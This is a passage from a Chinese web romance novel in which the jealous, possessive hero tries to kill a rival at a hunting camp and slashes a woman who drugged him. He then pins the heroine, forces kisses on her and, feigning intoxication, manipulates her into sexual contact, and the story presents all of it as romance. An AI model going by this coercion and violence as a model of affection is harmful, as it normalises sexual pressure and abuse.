光想着,姬时语一张玉色小脸都皱起了,她吃不了半点苦。
姬合英哈哈大笑,走过去从摆盘里揪起一片肉片,塞入了嘴里。
“姐姐!”姬时语直喊。
姬合英已是吃了下去,嘎吱嘎吱咬碎。
这肉片不是一丁点儿难吃,是难吃到令人发指。
遂她吃不下去,直接是吐了。
“江云让,你这烤肉也太难吃了。”
姬合英抱臂嘲笑江曜,“肉都成了炭,怎么给阿锁吃?”
江曜抬首看她,眼眸黑沉沉的,阴冷的怖人。
“好好烤肉吧。”
姬合英回了大大的笑脸,她可丝毫不畏惧他的眼神,反而拍了少年的肩膀,“要让阿锁喜欢,你还要差的远呢,少年。”
姬时语拽住姬合英,“姐姐,他手生不会,你别说他了。”
“走吧,阿锁,你的云让哥哥烤不出好肉,姐姐给你烤,想吃什么和姐姐说啊。”
姬合英能在这上面压江曜一头,她可是乐意为之。
谁让江曜总想霸占她的妹妹,她是十足的不爽快。
真以为她看不出狼崽子绿油油的眼神?
在姬时语跟前乖得像幼崽似的,偏她的妹妹还很吃软,总喜欢袒护江曜,连她这个姐姐也说不得。
但姬合英还没真正认可江曜。
因此,姬合英牵住姬时语便带离了这面,小姑娘低声说着:“姐姐,哥哥在岭西征战,没得空生火烤肉吧,我听说你们过的很苦。”
姬时语又在担心两人了。
“早过去了,不要想那些。”
姬合英笑着和她说:“烤肉这种事江云让确实做的少,但不是说他不会,他想给你烤,你就让他去,看他能烤出花儿来不。”
姬时语狐疑的想,姐姐怎么有种幸灾乐祸的错觉?
两人正说着,沈安乐和她兄长沈南怀找来了,两人一人手里执着一只端盘。
“时语!”
“安乐,你也来啦?”
沈安乐笑着小跑而来,沈南怀跟在她身后,一个抬眼便和姬时语的眼睛对上了。
篝火旺盛,照亮了姬时语皎洁的脸盘,小姑娘朝他笑笑,眼眸好似天边的月。
“大小姐,五小姐。”沈南怀做了礼。
好在夜色已深,旁人看不清他微热的耳根。
“时语,你瞧我给你带了什么来?”
沈安乐边将手里端盘递过去,又忙给沈南怀睇眼,让他快上前来。
沈南怀笑了下,走来伸手递给姬时语。
“这是什么肉?”姬时语看着嘀咕。
“陛下赐给沈家的是兔子和麂子,都是我兄长烤的。”
沈安乐笑道:“我给你挑了兔腿和麂子肉排,你尝尝看?”
姬时语夹了一块麂子肉。
沈南怀的烤肉比姬合英要更生两分,肉片留有汁水还很嫩,而且沈家肉片洒了一层腌制的作料,和肉香混杂,吃入口还要更鲜美。
“好好吃!”姬时语忍不住赞叹。
沈南怀亦是开怀了,他觉着只要姬时语喜欢便好。
沈安乐也高兴了,不住夸自家兄长,“我兄长手艺好吗?”
“沈大人烤肉一绝,可太好了。”
姬时语是真觉得好吃,她递给姬合英让她一尝,还又跑去江曜身边,想给少年吃一口沈家的麂子肉。
“哥哥,你也吃一口嘛。”
然而江曜的余光轻瞥,见到沈南怀清秀的脸映衬在篝火旁,他黑漆漆的眼珠子动了。
“不吃。”
面对小姑娘的献殷勤,江曜甩了冷脸,他回:“你觉得好吃,那你便去吃吧。”
他是那么吃味,同样是麂子肉,沈南怀烤出来的令姬时语欢喜,而他的却难以下咽。
凭什么?
她还要拿旁人之物,捅他的心。
江曜想要姬时语再多哄哄他,兴许小姑娘说两句好话,再哄他一会儿,他就什么也不气了。
他是小气的要死,可也只对姬时语这样。
江曜思绪纷乱,等了良久,却没等到心心念念的小姑娘再开口。
一偏头,身侧哪还有姬时语的身影?
江曜远远一眺,姬时语已是回到了沈安乐身边,吃着烤肉,边和沈南怀言笑晏晏。
少年清冷的脸顷刻间,变得阴冷黑沉。
手里竹签尽数被捏折断了,他一把全丢入了火堆,劈里啪啦的大火连带肉片一起点着。
熊熊燃烧。
阿锁,你怎么能又抛下我?
明明应了他的,不会多看外头的野男人,不是吗?
怎么可以对野男人笑得那么开心呢?
江曜压抑在心底的杀念迅猛涌起。
他从地上抓起几颗小石子,嘎吱揉碾磋压,后又在手心颠了颠。
“安乐,你们用了腌料?味道还有些咸香。”
“嘿嘿,这是我母亲从老家带来的,漳州那地做炙烤时总喜欢洒孜然,和盐巴一起调味,味道很是不错。”
沈安乐推了沈南怀一把,将人送到了姬时语跟前,“来秋猎前我兄长便和母亲提过,母亲便将孜然带来了这里。”
“沈大人心细,多谢你们今日送来的烤肉。”
沈南怀神色一顿,微微带了几分期许,“五小姐或许喜欢吗?”
“当然,我很喜欢。”
姬时语注视着沈南怀,发自内心的夸赞,她看过去笑时,沈南怀不好意思地侧了脸。
沈安乐暗暗腹诽,总想她哥哥太腼腆了,这样下去何时能给她讨个嫂嫂回来?
思及此,沈安乐便想帮沈南怀一把,可还不等她动作,姬合英已是大喊。
“当心!”
姬合英猛力推开了沈南怀。
沈南怀被推倒在地。
只见他所站之处落下了大片的火把,篝火倒塌,火光冲天。
烈焰火花还在烧着,沈南怀脚边的火把不断散发滚烫的灼热,那股热气甚至能传递至他全身。
熊熊大火差一点就将他点着了。
他差点死了!
“兄长!”
沈安乐被吓坏了,搀扶起沈南怀,担心不已,“你没事吧?”
“无事,还好大小姐救了我。”
沈南怀惊魂不定,脸色苍白。
事出在侯府之地,姬合英脸色有些愧疚,“沈大人当真没事吧?”
“我无事。”
沈南怀已拍了衣角,起了身,他除却脸色发白,身上落了脏污,是瞧不出受伤。
摇了头,沈南怀瞅了一眼落下的火把,“火把掉落下来,没伤到五小姐就好。”
姬时语却疑惑环顾火堆,面露古怪。
她记得姬合英架火时,还特意还探察过,确信是捆绑系紧了,火堆不该这样轻易散架坠落啊。
沈南怀扫视了一眼姬时语,眸光突然飞落,跃过了身前的小姑娘。
在篝火后方的江曜不知何时已起了身,一双阴郁的狐狸眼朝向这面看着。
少年双手空空,石子早已消失。
篝火余光燃烧,微弱的火照亮了少年清冷的面庞,他一身银灰色狐裘是明亮的,只是那亮色压根罩不住他脸面凝聚的阴沉。
他那双狐狸眼毫不避讳的,满眼杀意。
沈南怀从未洞察过少年的心思,今日却顿悟了。
是江曜做的。
他想杀了他。
江曜盯着他,眼中阴暗不减。
一股冷寒自沈南怀脊椎爬上,他总想着江曜有可能成他的大舅子,可这一回,唇边的笑不论如何也凝不起来。
江曜狐狸眼之中的阴郁更深了。
姬时语还在琢磨,却听身后江曜冷冷的嗓音靠近。
“阿锁,火烤完了,肉也吃了,火熄了,你该回去歇
了。”【你现在阅读的是 】
70-80
第71章
夜幕已深,江曜端坐于营帐之中,凝视手心的掌纹线。
方才大力折断竹签攥得太紧,毛刺尽入他的掌心,这会儿才生起刺啦密密麻麻的疼。
江曜一根一根将毛刺挑出,脸面阴沉的厉害。
尽管姬时语已在隔壁营帐歇息下了,他还是无法释怀刚的那一幕。
他怎么就没能杀了沈南怀呢?
是姬合英身手敏捷,救了他一条狗命,今日算他走运。
江曜冷哼一记。
这时林一和林二相继走入屋子,江曜抬首,阴郁的眼瞥向林二。
是在问他姬时语之事。
便听林一说道:“五小姐已是熄了灯,想来是入睡了。”
姬时语回屋,林二便也归位,他盯梢姬时语,并未发觉异样。
江曜颔首,林一犹豫片刻又道:“公子,柳家的二小姐求见您,这会儿就在外头候着。”
柳瑾柔?
江曜眼底划过一抹暗光,他可没忘记柳贵妃有意撮合,给他和柳瑾柔说媒。
他态度坚决,甚至下了血口,言道柳家送女儿来,他便折磨人至死去。
这样之下,柳瑾柔还敢来见他?
江曜支起腿,单手搭在扶椅,他朝林一说道:“让她进来吧。”
“是。”
林一和林二退下,走前林一撩了帐帘,引外头的柳瑾柔走入内。
油灯微晃,柳瑾柔翩跹的身子缓步走来,她娇声提了提,弯腰唤他。
“江小将军。”
江曜的屋中只点了一盏油灯,沉沉的暗。
其实姬时语为他放置了四盏灯,可江曜不喜欢身处于明亮之中,他打心底觉着夜晚该是死寂灰暗,才来的安心。
“你找我何事?”江曜冷淡。
“小将军,秋猎已是过半,仅余下最后一日了,若是明日小将军能捕获大猎物,许是能拿下头筹。”
柳瑾柔声色婉转,说不出的柔美之意尽在两三句言语里。
今日的她仍是一袭素净的白色披风,领口系着一条绑带,只是稍弯腰间,竟透过领口清晰可见里头的白皙一片。
像是未穿一件衣裳似的。
江曜只瞥了一眼,便不再看她。
“你要说的只有这些?”
柳瑾柔微抬头瞥了几眼。
少年侧脸俊美,灯下鼻梁高挺,狐狸眼阴冷,眼型却是十分漂亮,她心跳抑制不住地加快。
“我今日来,是向给小将军鼓气的,我很是敬慕小将军少年威风,也盼着您明日能夺下头筹。”
见江曜态度不变,柳瑾柔鼓起勇气,笑着上前了一步,双手捧上了一杯热茶。
水面荡漾着柳瑾柔微红的脸,江曜回了眼,他瞅着她手中的茶,静默不语。
茶味四溢,悄然混杂了一抹不易觉察的幽香。
江曜晦暗不明扬手:“拿来吧。”
少年像是没察觉丝毫,柳瑾柔笑意温柔,倾身递来。
她离的越近,那股幽香便更浓郁了几分。
这杯茶刚被江曜接过放下,柳瑾柔却是一个惊呼。
“啊!”
柳瑾柔脚下不知怎么被绊住,领口的系带瞬时绷开,身上的披风扑簌落了地。
她朝前一个栽倒,作势要扑进江曜的怀里。
没了披风遮盖,柳瑾柔玲珑身段春光乍现,一身轻纱薄衣,领口开的浅,薄衣之下的一团似乎要呼之欲出。
江曜动作飞快,眨眼便拔了刀出来。
他一个横刀,刀尖抵在了柳瑾柔的脖颈。
“啊——”
柳瑾柔径直撞上了锋利的刀面,她想抓住桌案奋力止住身子,可还是被长刀划破了喉咙。
她躲闪不及,整个人是花颜失色。
鲜血喷洒而出,染红了她的脖子,那身薄纱衣裳在这须臾之间被染为了朱红。
江曜的冷漠无情,是令柳瑾柔万般没想到。
柳瑾柔脖子吃痛,疼得飙出眼泪,身子不由自主地跌落在地。
“小、小将军。”
江曜并未收刀,那把冰冷寒光的刀仍置于柳瑾柔的脖颈,刀尖触及她破开的伤口,又冰又痛。
柳瑾柔真忍不住恐惧颤抖,落下了眼泪。
她的血止不住的流,好痛,好痛。
她喊:“求小将军不要杀我,求求你……”
“今日是谁让你来的?”江曜掀起凉薄的唇。
他的刀每深入一分,柳瑾柔便觉着自己离死更近了一步,再往下去,自己便是尸首分离的下场。
“不,不,没人指使我,是我自己来的。”
柳瑾柔身子抖得像筛子,“小将军求你,求你绕我一命。”
“柳瑾柔,你胆子不小啊,贵妃没将我的话带给柳家吗?我说了,柳家胆敢送人给我,我会好生伺候,折磨到死。”
江曜嫌一处伤口太少并不满意,又往下又划了一道,两道口子血液涓涓淌下,他看满意了些。
“我呢,会先砍了你手脚,拔去舌头,再一刀刀剐死。”
柳瑾柔哭声更大,“不要,不要,我不想死!”
“你不是不怕死?竟还敢给我下药,柳瑾柔,你真以为我吃了药,碰了你,你就能高枕无忧的嫁给我了?”
柳瑾柔牙关打颤。
身前的少年早从平静变为了阴毒的毒蛇。
那双狐狸眼阴冷冷的,连一丝人气也无,全然一副没得商量的模样。
“现下你主动送上门来,那我就先从你开刀吧。”
江曜下手狠辣,他又在柳瑾柔脖颈划了一刀。
三刀下去,柳瑾柔的肩胛是全被染红了。
上半身的薄纱赤红,哪里还看得见那处曼妙圆润,鲜血盖住了她的胴体。
在漆黑的夜,柳瑾柔宛如血池里爬出的女鬼。
柳瑾柔好想逃离,她痛得想要尖叫,可一触及少年的目光,就再也发不出任何声音。
江曜眉宇清明,洞穿了她所有的想法。
打起初,他便察觉了自己的茶水下了花_药!
更知道她这晚上是为何而来的。
她后悔了,她真的后悔了!
她今夜不该为了贪图荣华富贵来蛊惑江曜,她都做了什么啊?
她要蛊惑的人是一个疯子!
“我错了,小将军!”
柳瑾柔再也忍不住放声哭着哀求,“求你不要杀我,我再也不敢了!”
江曜未语。
柳瑾柔被放了太多血,跪着都快要跪不住了,浑身浴血摇摇晃晃的,像要随时倒下。
江曜开了口。
“还不快滚?”
柳瑾柔如释重负,这会儿竟是无端有了力气。
她飞快抓起地上的披风吃力爬起来,裹住自己血红的身子,立马头也不回地跑了。
前脚柳瑾柔一走,后脚林便入了屋,见地面血迹一滩,杂乱的很,不用想也不知晓出了何事。
“公子,属下来清理吧。”
“嗯。”
江曜嫌柳瑾柔这女人又脏又臭,终还是收了刀,厌烦地拧了拧眉。
营帐之中幽香未散,林一瞥眼桌上已凉了的茶,又问:“公子,这茶……”
话还未落,江曜一双眼又暗了暗,他竟是端起茶水,仰头一口咕噜喝下。
“公子!”
林一来不及阻拦了,他想说:这杯茶是被下了花药的啊!
……
萍柳用温水过了帕子,再给姬时语揉了揉脸,她轻声说道:“奴婢瞧见柳小姐又去找江公子了。”
“这大晚上的,柳家小姐也不害臊,真不怕外人说三道四啊?”萍亭直回。
姬时语垂眼:“我想她是非见不可,由她去吧。”
梳洗过后,姬时语爬上了床榻。
秋日的夜很凉,她裹紧被褥,连脚趾也缩得紧紧的。
小姑娘习惯夜里留一盏灯,萍亭便点上了一根蜡烛。
收拾妥当,两个丫鬟离了营帐,转头去旁边的侧屋歇下。
夜终于静了。
姬时语翻了个身,她却有些睡不着了。
这么寂静的夜里,似乎能听见的只有她自个儿的呼吸声。
想到萍柳说柳瑾柔去隔壁寻江曜,她不自觉就心烦意乱起来,许是离的太近,一颗心被吊
起,困意是一点没有。
便只想竖着耳朵偷听隔壁的动静,看可能听到两人的对话。
可左等右等,姬时语也没听见动静。
莫非两人压低声在交谈?
大晚上的,能有什么好谈的啊。
姬时语还在思忖,突然耳中钻入了一阵压抑的哭声,像是柳瑾柔的。
她一个激灵,柳瑾柔怎么哭了?
哭声没响太久,不一会儿,动静又是平复了,。
姬时语歪头还想听,可怎么也听不到一丝声音。
反倒是她的心跳声,跟打擂鼓似的,砰砰砰直跳。
“唉……罢了。”
姬时语低声嘟哝,她又翻了个面,甩头不去苦想,合上眼打算入睡了。
刚收了心,周遭像是寒冷了好几分,有微弱的脚步声渐渐靠近。
姬时语的耳旁多了一道冰冷的呼吸声,不属于她的。
什么人?
姬时语骤然睁开了眼,此时床头竟多了一抹暗沉身影,大半夜的,吓得她魂飞魄散。
“你,来人啊……”
喊叫声还未发出,她的嘴已被封住了。
少年挡住了昏暗烛光,全身融入于了黑暗。
他倾下身来,双臂压住姬时语的手臂。
江曜捉住她的一双手腕高举过了头顶,是嫌她那张红唇碍事,他直接咬住了她的唇瓣。
以唇堵唇。
江曜几乎是在啃噬着她,他咬过她的上唇瓣,又去咬她的下唇。
两片娇嫩的唇瓣哪里受过这样狂风暴雨似的残暴对待,顷刻间便肿了起来。
“别……”
姬时语想要喘气,两人气息交缠,少年喘息声又大了几分,粗喘便在耳旁。
听得少年微微急切的喘气,她脸皮红透了。
这还是她
第一回听男人喘气,能喘得这么好听。
不对,江曜怎么会这样?
姬时语瞪大了眼,反手去摸少年抓着她的手。
身上的少年浑身滚烫,触摸到的皮肤都在发热,十成有十一成的不对劲。
柳瑾柔给江曜下药了?
此刻江曜本清冷的容颜拢着一层薄红,那双狐狸眼蒙着迷离的旖旎,比幻化成人的狐妖还要勾人心魄。
大有一种吃了花药之后,失了神智,无声无息的蛊惑与引诱。
他在勾她。
江曜再度压下来,气息微喘,灼热的气打在她的唇上。
他又一回吻住了她的红唇,细细地一点点吮咬她的唇瓣。
碾过后,又是温柔的咬动。
不容多想,姬时语一刹那迷失了。
一旦开了这个头,便停不下来了。
第72章
姬时语被江曜亲得嘴唇发麻,少年咬得很凶,她唇瓣定是破了口子,隐隐舔到了一股铁锈腥味。
“江云让,你给我住手。”
姬时语极力挣扎,扭转偏头,她躲开他的唇,这回他的吻只落在了她的脸蛋。
“阿锁……”
江曜不满意了,贴着她的脸亲了两下。
他还在大口的喘,眼里醉着红色,白玉脸庞早已布满红潮。
他低低唤着她的名字,不知是清醒了还是不清醒的。
江曜仿若跟个巨石,一动不动地死沉,压着姬时语喘不过气。
她用身子去撞江曜的胸膛,少年闷哼不挪动。
就这么一喘一哼,缠绵在姬时语耳畔,她的脸、脖子还有耳朵都起了热意。
她是遭不住江曜这样的折磨。
“阿锁,阿锁,阿锁……”
江曜的头颅埋入姬时语的肩窝,口里唯有她,只渴望着她。
少年的脑袋蹭蹭她柔嫩的肌肤,唇瓣不时擦拭她的侧脖颈。
那一处软肉,被他探寻找到,张开口便含住咬了两下,再放入唇里吮吸撕磨。
“江曜。”
江曜像没听见。
平日的他清冷自持,缠人也有个度,不会在姬时语身上耳鬓厮磨。
可今日江曜中了花_药,早已神志不清,褪去冷色,欺身逼迫于她时,她竟不能反抗半分。
即便喊他,他也不会应答。
“江曜。”
“嗯……”
江曜蹭上她的脸,两人气息缠绵的时候,他啄了下姬时语的唇角。
姬时语怕极了他还要强势亲吻,极力咬住唇,不让少年闯入。
没能得逞,江曜抬起眼,狐狸眼红红的,醉态迷茫,“为什么不给我亲舌头?”
“江云让,你别胡来了。”
姬时语的气息也跟着乱了,她又喊他的名字,努力保持冷静。
“江云让,你被下药了,先放开我。”
江曜松开禁锢她手腕的双手,改抱了她起身,他不愿离她的身,缠着她又将人卷入怀抱。
两人面对面坐下,姬时语努力抬起头。
烛光已快烧尽了,点着微弱的明光,就着这点亮光,姬时语看清了江曜的脸。
少年清冷脸颊潮红,红的那么不寻常,连额头的青筋亦是暴起。
“阿锁,我好难受啊……”
江曜一双微红的狐狸眼茫然凝视着她,嘴里不断喊着“难受”,捉住她的指尖便往自己的身上带。
此时江曜上身的短袄已是开了扣,姬时语一个不察,手指就被江曜带着探进了他衣里。
他身上更是滚烫的厉害,如得风寒发了热,掌心每到一处便是火热的触感。
“江曜,可以了,我去找人寻郎中来。”
“可是阿锁的手很凉,很舒服。”
姬时语想要抽回手,但是江曜执意不肯,他望着她迷醉的喘气,清冷的面容布满了潮红。
“不想要别人,只想要阿锁摸摸……我。”
被他的话弄得彻底没了脾气,姬时语全身上下都羞透了。
她的哥哥怎么能在吃了花_药之后,这么爬上她的床来引诱她?
还是神志不清的情况下。
都说妖媚美人最能引诱于人,可姬时语今日却觉着,她白日清冷温和又良善的哥哥,吃了药后,邪魅的不像话极了。
这般蛊惑人心,跟个狐妖似的,她真怕自己保持不住就破了戒。
少年喘得又让人心动。
突然他又握紧了些,她的手便被他带着不自觉盖在了他突起的肩胛,缓慢向下。
江曜块状有力的肌肉,在她的手中形状是那样的清晰。
姬时语心中挣扎,想收手喝令自己不能再由着他胡来了,可这手怎么也不听她的话,就是忍不住伸了过去。
她凉凉的手似有意识一般,来回跳动,小姑娘无措的顿着,指尖却与她的眼神反之,她茫然不已。
江曜那双红红的狐狸眼,暗处滋生起了一层阴霾。
“阿锁,好难受……”
脑中绷紧的弓随时都会断裂,他看着她,潮红的脸荡开了笑意。
“帮帮我……只有你能帮我。”
江曜从进屋起,便还留有几分清醒。
他几度沉沦、佯装失了神智,不过都是在试图拉姬时语坠入深渊。
同他一起,至死方休。
今夜出了沈南怀一事,江曜很是发疯,尽管姬时语就在怀中,他仍然不满足。
他想要她的身心彻底独属于自己。
江曜迫切的想要知道,姬时语对他,究竟能纵容到什么地步。
这么想着,他闭上眼,好似陷入一种难言的享受之中,带着姬时语的手往下滑落,口里低低沙哑地呢喃。
“阿锁,帮帮我,可好?”
姬时语眼前,少年嶙峋的喉结滚动几下,他的手在颤抖,是难受极了,无助的渴求外人的相助。
终于,她的手指一顿。
姬时语吓坏了,再也忍不住尖叫,“啊,江曜……”
江曜睁开了猩红的双眼,林中蛰伏已久的凶兽在这一刻,再无钳制,彻底释放。
小姑娘面色羞赧,手指蜷缩成一团,指尖发着颤,后退着脚趾缩了又缩。
“不……江云让,哥哥,你放开我的手。”
姬时语还是个黄花大闺女,前世今生她都没经历过,羞得连眼睛都不知道看哪儿了,只觉得头发丝皆在冒汗。
虽说她是觉着江曜待她温柔,亲密时她并无反感,反而还生出几分心动的窃喜。
因此她可以不介意他在中药神志不清之后,亲了她索吻。
可那等事,还是太亲密了些,她做不来。
但是江曜固执,他攥着她的手腕,不论如何也不松手。
“阿锁,我好难受,怎么办?”
江曜下颌绷直了,眼尾流露一抹渴求。
他睇来眼,冷沉的声沾满了宛如罂粟花的味道。
姬时语不敢看,更不敢动,她蜷缩着手指,“不行,真不行啊,江曜,我、我,我不行的。”
江曜还想拉着她柔软的手心帮他,尽管方才
只是一刹那,他感觉自己好的不得了。
还想要更多,想要他最心爱的姑娘帮他释放。
但小姑娘满面红云,拒了又拒,他有些失落,也只能如此。
逼急了,阿锁便不会再纵容他了。
“好,那阿锁陪着我,这样帮我吧。”
江曜索性执起姬时语的手,张口咬住了她的食指,自己上手伸进了衣襟。
窸窸窣窣布料摩擦声灌入姬时语的耳,还有少年低低的喘息,在这安静的夜中,十足的清晰。
姬时语真是身子僵硬,好想钻入被褥做那缩头乌龟,可手腕又被江曜攥住。
她的手指被含在他嘴里,舌尖打着转。
姬时语情不自禁偷瞄了一眼,惊得心跳快要冲破了天。
江曜黑漆漆的狐狸眼紧锁着她,沉得她发慌,他一只手在下动作,上头随着右手摆弄,舌头一道道转着圈嗦她的手指。
烛光幽幽,她看清楚他脖上的那颗痣,在晃动。
这几近惑人的一幕,姬时语的三魂六魄皆要散了。
她直勾勾落在少年身上,粉颈低垂,目瞪口呆。
在今夜,是真的一颗心被眼前这只狐狸精给迷惑了。
姬时语一遍又一遍告诫自己,非礼勿视,可一双眼怎么也挪不开。
便是只能看着江曜动作。
江曜见她猫瞳呆呆的,里头全是自己,他亢奋极了,又快了几分,得以解脱的刹那,他吐出她的手指,呵笑出了声。
“阿锁真好,帮了我大忙呢。”
这回姬时语的声音都在颤抖,“江曜,是不是,可以了?”
冲击之大,她还没缓过神来,满脑子都是先前他迷乱的看着她,自己为自己疏解的模样。
她的云让哥哥是个妖精吧。
姬时语又偷瞄过去一眼,少年却喘着气,微微平复气息。
他脸上潮红褪去一些,是真的缓解了不少。
蜡烛在这时烧尽最后一丝光,屋中陷入无边的黑暗,姬时语甚至再看不清江曜的神情。
“阿锁。”
江曜喊她,嗓音清冷,是有了神智的样子。
他开口便令姬时语稍安了心,“哥哥,你好些了吗?”
“好转了不少,方才太难受了。”
“是柳瑾柔下的药?”
“嗯。”
“柳家小姐这档子肮脏手段用的还真来劲,恶心人。”
姬时语愤慨的不行。
她可不是怨念?
若不是柳瑾柔使出下三滥的玩意,江曜也不会难受到半夜误入她营帐,寻求她的相助。
两人这么一番遭遇下来,姬时语不敢想明日清醒之时,她要怎么面对江曜。
连这么羞耻的事情竟荒唐的发生了。
还是在江曜神志不清的时候。
姬时语恼火万分,真想杀去柳家先暴打柳瑾柔一顿。
“阿锁。”江曜又是喊她。
“哥哥,你好了就回去歇息吧,身子要紧,明日还是找个郎中看看。”
姬时语是真担心他,竟没有怪罪江曜前头那般之多的无礼冒犯。
她的纵容引得江曜雀跃不已,血液无尽沸腾。
“好。”
江曜轻微的呼吸声便在身侧,姬时语听得太清楚,耳朵红的厉害,颤颤巍巍。
黑暗于江曜为无,他眷恋痴缠地盯着眼前的小姑娘。
心尖像插入了一把卷了糖蜜的刀。
甜得人发痛。
“你什么时候走?”
这会儿姬时语含羞,只想赶紧赶江曜走。
她是半点也不想见他,只想躲得远远的,缓解心头的尴尬。
江曜却笑了一声,“你让我再缓缓,我还有些难受。”
一听他难受,姬时语害怕极了,她唯恐少年再抓着自己来一回。
恼羞之下,姬时语扭头梗着脖子低低咒骂柳瑾柔:“她给你下了好多,太可恶了。”
“嗯。”
江曜的嗓音恢复了一贯的清冷。
两人沉默了片刻,江曜那处有了动静,衣衫摩梭,他系好口子,欲下了床榻。
姬时语看不见人,只听到了声音。
他说:“我先回去了。”
可姬时语一声“好”还没发出,营帐之外顿时传来了萍亭的问话。
“小姐,你夜醒了?”
姬时语一听便知坏事了,两人闹得侧屋丫鬟们起了疑心。
她是惊慌失措,夜里抓瞎,爬起来便是一个飞扑,她的双腿圈住江曜的腰,飞快带着人倒躺回床榻之中。
迅雷不及掩耳之下,姬时语一把捞过被褥,将两人的身子裹得严实。
萍亭打了帐帘,探入半个脑袋进来,问道:“小姐,可要奴婢进去伺候?”
“萍亭,不用进屋了,我没事!”
姬时语后背冷汗淋漓,生怕被萍亭看出端倪。
被褥中的江曜连头颅也被摁在了姬时语怀中,他贴得紧了些,笑着勾住了小姑娘纤细柔软的腰肢。
还坏心眼的又掐了一把她腰窝的软肉。
姬时语一下没忍住,“哎哟“叫了出声。
“小姐?”
萍亭担忧地要进屋,姬时语暗地打了不老实的被中人一巴掌,赶忙解释扯了谎。
“我没事,我方才睡时翻身,不小心撞到床头了。”
第73章
姬时语的心跳急促不平,手心溢出一把汗,此刻迫切希望萍亭赶紧离去。
莫要走近榻边,察觉她被中的异样。
好在屋中烛火已是烧尽,昏暗之下,萍亭立在营帐门前,并不能知晓里头何等情形。
萍亭踌躇,又问了一道:“小姐,蜡烛烧完了,可要点一只?”
“不必了,我好困啊,萍亭,我想睡了,你回去吧。”
姬时语佯装打了个哈欠,困顿喏喏的回她,萍亭便也未太起疑心,随即放了营帐帘子,身影便再瞧不见。
萍亭走了。
姬时语大口舒口气,她扒拉开被褥,江曜还缩在她怀里。
得了缝隙,他昂首,一双清冷的狐狸眼睨她。
其中色泽不明,只是黯黯沉沉的。
江曜的手掌抚在她的腰间,源源不断有温热的气息顺着他掌心,涌入她的肚腹。
今夜姬时语本就在酝酿睡意,穿得单薄,上身不过一件云纹丝薄衫,他的手心一动,贴得近了两分,薄衫似若了无,他摸着她柔滑的芊芊细腰。
两人肌肤似没了阻碍,亲密无间的光滑紧贴。
夜里昏暗,嗅觉、听觉比往日来的敏锐太多,姬时语身上不自觉燥热,想要摆脱江曜的束缚。
少年如一条滑腻的蛇,死死缠绕在她腰间,甩也甩不开。
鼻息间卷入他干净如雨后竹林的气味,姬时语不争气地又红了脸。
好烦这人拿自个儿不正经,他不知晓这副模样不能随意摆给姑娘家看吗?
勾走姑娘家的心怎么办?
“不要胡闹了!”
姬时语旋即拨开江曜的手,没好气地翻了个身,再不去看他。
是羞恼又是不愿在这时候面对于他。
身后那人低沉发了笑:“阿锁,你真好。”
姬时语腹诽:她才一点也不好。
小姑娘咬唇压低了声:“你快些回去,再闹些动静出来让我爹娘听见了,还不知道要说什么呢。”
她这无声的警告真如幼小的兔崽子露出兔牙,想咬他,威慑力不大,全是口头的威胁。
江曜身上的燥热已褪去大半,他也知道这一夜,他不好再留着了。
尝到心爱的小姑娘的滋味,已是愉悦至极。
来日方长。
江曜依依不舍收手,他轻缓挪下了榻,见床里的小姑娘动动身子,将被褥尽数裹
于身上。
严严实实不留一丝缝隙。
江曜含笑道:“阿锁,半夜可不要踢被子啊。”
姬时语羞恼的不行,这种时候又要说她十岁时的糗事,她哼哼回:“才不会,不劳你费心了,快走!”
小姑娘连身子也未转回,就只拿后背对着他。
身后脚步声消弭,姬时语确信江曜是回去了。
她大为松气。
这一夜,乱七八糟的,她还能安然入睡,睡个好觉吗?
姬时语动都不动,阖眼之时,困意半分也无。
……
翌日,姬合英洗过一把脸后,侧首间便姬时语顶着乌青的眼睑钻出营帐,她吓了一大跳。
“阿锁,昨儿没休息好?”
姬合英用温水洗过帕子,走去替妹妹抹脸,姬时语乖巧站着,仰头时又微微叹息。
正待这时,江曜也撩了帘子出屋,姬时语瞪目对上他的眼,少年狐狸眼一挑,勾了笑。
姬时语迅速垂首,脸皮涌起了淡淡的薄红。
姬合英还没瞧出两人之间的暗潮,她只是看了眼江曜,问他:“今日你还要去秋猎?”
“是。”
“陛下的意思,是身有官职之人都需前去?”
“是。”
姬合英捂着脑袋叹气,这意思便是她也不得不一同前去了。
秋猎为时三日,姬合英苦熬了两日,今日着实不想再入围场乱晃,但弘文帝有旨,她又不能抗旨不尊。
姬合英捏捏姬时语的小脸,“今日只有半日,你在这里等姐姐回来。”
“好。”
姬时语扬笑应了她。
姬合英喊江曜,“走吧。”
江曜的眸子不经意间落在姬时语的脸上,意味不明地染着淡淡的笑意。
清晨霜华渐重,少年身披清冷,周身如常,唯有那双狐狸眼,在端望着姬时语时,星星点点凝聚起几分浓郁的靡色。
令姬时语一刹那,便忆起了昨夜两人的荒唐。
姬时语飞快扭头,再不敢多看他一眼。
江曜笑意更深,走前,他落下了一句话。
“阿锁,还要谢谢你。”
如此意味深长,听的姬合英不明所以,她回望身侧的妹妹,问她:“江云让谢你什么?”
“没什么事,就是我帮了他一件事。”姬时语有些扭捏。
姬时语一偏过头,发丝轻而吹落,光洁的侧脖显露在姬合英眼前,还落着星星点点的红痕。
姬合英双目瞪大,发了问:“阿锁,你脖子上怎么来的几道红痕?”
姬合英蹙眉,姬时语忙伸手捂住脖子,大呼不好。
她咬唇辩解:“姐姐,昨夜我房中爬了虫子,夜里咬了我,我一晚上没睡好,困得不行。”
“阿锁,委屈你了。这地方不好,睡不好觉,明日我们便启程回家。”
姬合英好心疼,她喊来萍亭,吩咐她去寻个郎中为姬时语看伤。
姬时语一听脸色更是羞红,立马阻拦萍亭,又推着姬合英去牵马。
“姐姐不用管我了,不疼不痒的,我没事,倒是你快去秋猎吧,莫要误了事。”
姬合英犹豫:“你一人可以?”
“我可以。”
姬时语俏生生笑起来,在姬合英跟前蹦跳了两下,“你看我,精神好着呢!”
如此,姬合英也安了心,她大步跨行,去了围场。
良久,姬时语收回眼神,一并敛起的还有脸上的笑容。
萍柳问:“小姐,回去吗?”
“回吧,我真是好困,想再睡一会儿。”
昨夜一晚上没入睡,这会儿她头疼欲裂,在姬合英跟前是故作坚强,不想姐姐担忧。
可送走姬合英,姬时语便是倒在了萍亭身上,没了力气。
萍亭和萍柳两个丫鬟连忙搀扶住姬时语,半抱半抬的将人送回了营帐休息。
这一觉,姬时语睡到了午后。
脑子杂乱去了些,她倒是睡了个好觉。
姬时语懒懒伸了个懒腰,她是困倦极了,起床喊萍柳端午膳来,她草草用了点,不算太饿,也就没吃多少膳食。
午后,沈安乐寻来了忠义侯府。
“时语。”
沈安乐一袭翠绿锦缎长裙,人还未至,声已是先传入了营帐。
“你醒了啊?”
